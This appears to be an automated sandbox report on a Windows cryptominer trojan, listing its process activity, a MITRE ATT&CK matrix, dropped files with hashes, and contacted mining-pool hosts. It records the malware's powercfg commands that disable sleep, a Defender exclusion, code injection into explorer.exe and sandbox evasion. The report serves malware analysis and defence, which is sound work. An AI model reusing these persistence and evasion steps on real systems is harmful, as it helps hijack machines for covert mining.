          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
          Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

          Lowering of HIPS / PFW / Operating System Security Settings

          barindex
          Modifies power options to not sleep / hibernate
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
          Source: C:\Users\user\Desktop\NH95Vhokye.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
          Source: C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
          Source: explorer.exe, 00000026.00000002.3777571512.00000000007CB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
          Windows Management Instrumentation          		11
          Windows Service          		11
          Windows Service          		1
          Masquerading          		OS Credential Dumping321
          Security Software Discovery          		Remote Services1
          Archive Collected Data          		1
          Encrypted Channel          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault Accounts1
          Service Execution          		1
          DLL Side-Loading          		311
          Process Injection          		1
          Disable or Modify Tools          		LSASS Memory1
          Process Discovery          		Remote Desktop ProtocolData from Removable Media1
          Non-Standard Port          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
          DLL Side-Loading          		131
          Virtualization/Sandbox Evasion          		Security Account Manager131
          Virtualization/Sandbox Evasion          		SMB/Windows Admin SharesData from Network Shared Drive1
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook311
          Process Injection          		NTDS1
          Application Window Discovery          		Distributed Component Object ModelInput Capture1
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
          Deobfuscate/Decode Files or Information          		LSA Secrets13
          System Information Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
          Obfuscated Files or Information          		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          DLL Side-Loading          		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
          File Deletion          		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1552436 Sample: NH95Vhokye.exe Startdate: 08/11/2024 Architecture: WINDOWS Score: 100 54 xmr-eu1.nanopool.org 2->54 58 Multi AV Scanner detection for submitted file 2->58 60 Yara detected Xmrig cryptocurrency miner 2->60 62 Sigma detected: Stop EventLog 2->62 66 3 other signatures 2->66 8 gbljiflhnnhn.exe 1 2->8         started        12 NH95Vhokye.exe 1 2 2->12         started        signatures3 64 DNS related to crypt mining pools 54->64 process4 file5 50 C:\Windows\Temp\lwvtwwbvppbh.sys, PE32+ 8->50 dropped 68 Multi AV Scanner detection for dropped file 8->68 70 Injects code into the Windows Explorer (explorer.exe) 8->70 72 Modifies the context of a thread in another process (thread injection) 8->72 74 Sample is not signed and drops a device driver 8->74 14 explorer.exe 8->14         started        18 powershell.exe 22 8->18         started        20 cmd.exe 1 8->20         started        28 5 other processes 8->28 52 C:\ProgramData\...\gbljiflhnnhn.exe, PE32+ 12->52 dropped 76 Uses powercfg.exe to modify the power settings 12->76 78 Adds a directory exclusion to Windows Defender 12->78 80 Modifies power options to not sleep / hibernate 12->80 22 powershell.exe 23 12->22         started        24 cmd.exe 1 12->24         started        26 powercfg.exe 1 12->26         started        30 7 other processes 12->30 signatures6 process7 dnsIp8 56 51.15.193.130, 10343, 49742 OnlineSASFR France 14->56 82 System process connects to network (likely due to code injection or exploit) 14->82 84 Query firmware table information (likely to detect VMs) 14->84 86 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->86 32 conhost.exe 18->32         started        44 2 other processes 20->44 88 Loading BitLocker PowerShell Module 22->88 34 conhost.exe 22->34         started        36 conhost.exe 24->36         started        38 wusa.exe 24->38         started        40 conhost.exe 26->40         started        46 4 other processes 28->46 42 conhost.exe 30->42         started        48 6 other processes 30->48 signatures9 process10

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          NH95Vhokye.exe66%ReversingLabsWin64.Trojan.MintZard

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe66%ReversingLabsWin64.Trojan.MintZard
          C:\Windows\Temp\lwvtwwbvppbh.sys5%ReversingLabs

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://crl.cloudflare.com/origin_ca.crlc80%Avira URL Cloudsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          xmr-eu1.nanopool.org
          		54.37.137.114
          		truefalse
            		high

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            http://crl.cloudflare.com/origin_ca.crl0explorer.exe, 00000026.00000002.3777571512.000000000077B000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              http://ocsp.cloudflare.com/origin_caexplorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                http://crl.cloudflare.com/origin_ca.crlc8explorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://ocsp.cloudflare.com/origin_ca0explorer.exe, 00000026.00000002.3777571512.000000000077B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3778018002.0000000001090000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  http://crl.cloudflare.com/origin_ca.crlexplorer.exe, 00000026.00000002.3778018002.0000000001090000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3777571512.0000000000750000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high

                    World Map of Contacted IPs

                    • No. of IPs < 25%
                    • 25% < No. of IPs < 50%
                    • 50% < No. of IPs < 75%
                    • 75% < No. of IPs

                    Public IPs

                    IPDomainCountryFlagASNASN NameMalicious
                    51.15.193.130
                    		unknownFrance
                    		12876OnlineSASFRtrue

                    General Information

                    Joe Sandbox version:41.0.0 Charoite
                    Analysis ID:1552436
                    Start date and time:2024-11-08 19:13:04 +01:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 8m 21s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:44
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:NH95Vhokye.exe
                    renamed because original name is a hash value
                    Original Sample Name:ad490bb460209b6a9183f7a5e7093c27f5b09cd26f2ab59d34b290d4f8bd69e9.exe
                    Detection:MAL
                    Classification:mal100.spyw.evad.mine.winEXE@58/12@1/1
                    EGA Information:
                    • Successful, ratio: 100%
                    HCA Information:
                    • Successful, ratio: 100%
                    • Number of executed functions: 5
                    • Number of non-executed functions: 28
                    Cookbook Comments:
                    • Found application associated with file extension: .exe
                    • Override analysis time to 240000 for current running targets taking high CPU consumption

                    Warnings

                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                    • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
                    • Not all processes where analyzed, report is missing behavior information
                    • Report size exceeded maximum capacity and may have missing behavior information.
                    • Report size getting too big, too many NtCreateKey calls found.
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • VT rate limit hit for: NH95Vhokye.exe

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    13:13:55API Interceptor30x Sleep call for process: powershell.exe modified

                    Joe Sandbox View / Context

                    IPs

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    51.15.193.130file.exeGet hashmaliciousXmrigBrowse
                      HmA7s2gaa5.exeGet hashmaliciousXmrigBrowse
                        Yf4yviDxwF.exeGet hashmaliciousXmrigBrowse
                          SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exeGet hashmaliciousVidar, XmrigBrowse
                            updater.exeGet hashmaliciousXmrigBrowse
                              upw82ArDKW.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, XmrigBrowse
                                1DI50gCNGQ.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, Vidar, XmrigBrowse
                                  BIHRaOeReG.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, Stealc, Vidar, XmrigBrowse
                                    file.exeGet hashmaliciousGlupteba, RedLine, SmokeLoader, XmrigBrowse
                                      file.exeGet hashmaliciousAmadey, Fabookie, SmokeLoader, XmrigBrowse

                                        Domains

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        xmr-eu1.nanopool.orgahlntQUj2t.exeGet hashmaliciousXmrigBrowse
                                        • 54.37.232.103
                                        file.exeGet hashmaliciousXmrigBrowse
                                        • 163.172.154.142
                                        HmA7s2gaa5.exeGet hashmaliciousXmrigBrowse
                                        • 162.19.224.121
                                        12Jh49DCAj.exeGet hashmaliciousXmrigBrowse
                                        • 51.15.65.182
                                        Ky4J8k89A7.exeGet hashmaliciousStealc, Vidar, XmrigBrowse
                                        • 51.15.58.224
                                        boooba.exeGet hashmaliciousXmrigBrowse
                                        • 51.15.58.224
                                        2HUgVjrn3O.exeGet hashmaliciousXmrigBrowse
                                        • 51.15.58.224
                                        SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeGet hashmaliciousXmrigBrowse
                                        • 141.94.23.83
                                        Yf4yviDxwF.exeGet hashmaliciousXmrigBrowse
                                        • 54.37.232.103
                                        file.exeGet hashmaliciousXmrigBrowse
                                        • 54.37.137.114

                                        ASNs

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        OnlineSASFRDemon.arm4.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.sparc.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.sh4.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.x86.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.arm7.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.arm5.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.mpsl.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.ppc.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.m68k.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146
                                        Demon.i586.elfGet hashmaliciousMirai, GafgytBrowse
                                        • 163.172.49.146

                                        JA3 Fingerprints

                                        ⊘No context

                                        Dropped Files

                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                        C:\Windows\Temp\lwvtwwbvppbh.sysEulen.exeGet hashmaliciousXmrigBrowse
                                          U9jAFGWgPG.exeGet hashmaliciousPhorpiex, XmrigBrowse
                                            file.exeGet hashmaliciousAmadey, XmrigBrowse
                                              file.exeGet hashmaliciousXmrigBrowse
                                                ICBM.exeGet hashmaliciousXmrigBrowse
                                                  file.exeGet hashmaliciousXmrigBrowse
                                                    file.exeGet hashmaliciousXmrigBrowse
                                                      ICBM.exeGet hashmaliciousXmrigBrowse
                                                        ICBM.exeGet hashmaliciousXmrigBrowse
                                                          ahlntQUj2t.exeGet hashmaliciousXmrigBrowse

                                                            Created / dropped Files

                                                            C:\ProgramData\dhiulaazuqfi\gbljiflhnnhn.exe

                                                            Download File
                                                            Process:C:\Users\user\Desktop\NH95Vhokye.exe
                                                            File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):2629120
                                                            Entropy (8bit):6.54171843232324
                                                            Encrypted:false
                                                            SSDEEP:49152:wnErrvH3Ycpk8lLnGxF2rwUCYvQc+0MiXQ6Ou005AYulpIe:0EnH39k0ekrhZvQH0RAD2Axjn
                                                            MD5:5C55DA00932DC856A0EA2300548D7BA8
                                                            SHA1:0086BD795859A806345162E058B2BF76289AB3D8
                                                            SHA-256:AD490BB460209B6A9183F7A5E7093C27F5B09CD26F2AB59D34B290D4F8BD69E9
                                                            SHA-512:19BFFF4AC9C278987988FF099F3CFCC58D53A211E1C7C975CA5070BC43C363C361C3B0E6C70C26B75133A84447DA4A151AF7506C563D9A2A2BE6C9D92437D3D9
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 66%
                                                            Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...$O.g.........."......z....'.....@..........@..............................(...........`.................................................`...<............@(..............p(.x...............................(.......8...............X............................text...Fy.......z.................. ..`.rdata...............~..............@..@.data.....'......z'.................@....pdata.......@(.......(.............@..@.00cfg.......P(.......(.............@..@.tls.........`(.......(.............@....reloc..x....p(.......(.............@..B................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):64
                                                            Entropy (8bit):1.1940658735648508
                                                            Encrypted:false
                                                            SSDEEP:3:NlllulnmWllZ:NllUmWl
                                                            MD5:3EBBEC2F920D055DAC842B4FF84448FA
                                                            SHA1:52D2AD86C481FAED6187FC7E6655C5BD646CA663
                                                            SHA-256:32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
                                                            SHA-512:163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
                                                            Malicious:false
                                                            Preview:@...e................................................@..........

                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ayg5avan.hir.ps1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p0wzhp4x.wts.psm1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rwqvpmb3.2qc.ps1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zstoi1p3.qkg.psm1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):64
                                                            Entropy (8bit):0.34726597513537405
                                                            Encrypted:false
                                                            SSDEEP:3:Nlll:Nll
                                                            MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                            SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                            SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                            SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                            Malicious:false
                                                            Preview:@...e...........................................................

                                                            C:\Windows\Temp\__PSScriptPolicyTest_3yjykdxh.k3k.psm1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Windows\Temp\__PSScriptPolicyTest_i4ijxwos.230.ps1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                            Malicious:false
                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                            C:\Windows\Temp\__PSScriptPolicyTest_oyplrhmf.r2s.psm1

                                                            Download File
                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            File Type:ASCII text, with no line terminators
                                                            Category:dropped
                                                            Size (bytes):60
                                                            Entropy (8bit):4.038920595031593
                                                            Encrypted:false
                                                            SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
